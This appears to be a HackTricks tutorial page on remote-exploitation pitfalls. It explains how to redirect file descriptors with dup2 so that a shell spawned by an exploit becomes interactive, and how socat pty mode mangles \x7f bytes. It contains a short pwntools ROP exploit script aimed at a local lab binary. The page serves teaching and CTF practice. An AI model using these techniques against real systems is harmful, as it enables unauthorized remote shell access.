Common Exploiting Problems

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FDs in Remote Exploitation

When sending an exploit to a remote server that calls system('/bin/sh') for example, this will be executed in the server process ofc, and /bin/sh will expect input from stdin (FD: 0) and will print the output in stdout and stderr (FDs 1 and 2). So the attacker won't be able to interact with the shell.

A way to fix this is to suppose that when the server started it created the FD number 3 (for listening) and that then, your connection is going to be in the FD number 4. Therefore, it's possible to use the syscall dup2 to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.

Exploit example from here:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Note that socat already transfers stdin and stdout to the socket. However, the pty mode include DELETE characters. So, if you send a \x7f ( DELETE -)it will delete the previous character of your exploit.

In order to bypass this the escape character \x16 must be prepended to any \x7f sent.

Here you can find an example of this behaviour.

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

• Discover The PEASS Family, our collection of exclusive NFTs

• Get the official PEASS & HackTricks swag

• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

• Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.